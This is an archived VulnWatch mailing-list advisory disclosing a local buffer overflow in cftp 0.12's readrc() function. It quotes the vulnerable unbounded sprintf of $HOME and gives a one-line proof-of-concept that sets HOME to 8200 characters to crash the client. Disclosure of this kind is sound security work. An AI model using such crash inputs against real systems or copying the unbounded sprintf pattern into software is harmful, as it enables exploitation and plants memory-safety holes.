Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security VulnWatch
[Top] [All Lists]

[VulnWatch] cftp 0.12 (readrc) Local buffer overflow vulnerability

Subject: [VulnWatch] cftp 0.12 (readrc) Local buffer overflow vulnerability
Date: Mon, 19 Mar 2007 22:53:01 +0100
Description:

CFTP is Comfortable FTP, a full screen ftp client.
Supported are FTP both with active and passive data connections,
IPv4 and IPv6, and SFTP (a file transfer protocol using SSH for
authorization and connection encryption).
Found local buffer overflow in readrc() with sprintf() with no
sizelen control.
source: http://ftp.giga.or.at/pub/nih/cftp/

Source error:

int
readrc(char **userp, char **passp, char **hostp, char **portp, char **wdirp,
      int check_alias)
{
   FILE *f;
   char b[8192], *p, *tok, *q, *home;
   char *user, *pass, *host, *port, *wdir;

   if ((home=getenv("HOME")) == NULL)
        home = "";
   sprintf(b, "%s/.cftprc", home);

   if ((f=fopen(b, "r")) == NULL) {
        if (errno == ENOENT)
            return 0;
        return -1;
   }
   [..]
}

error in sprintf(), no sizelen control in getenv().

Proof of concept:

$ export HOME=`perl -e "print 'A'x8200"`
$ cftp
Segmentation fault
$

--
.original http://intel.shacknet.nu/
~ starcadi

<Prev in Thread] Current Thread [Next in Thread>
  • [VulnWatch] cftp 0.12 (readrc) Local buffer overflow vulnerability, starcadi <=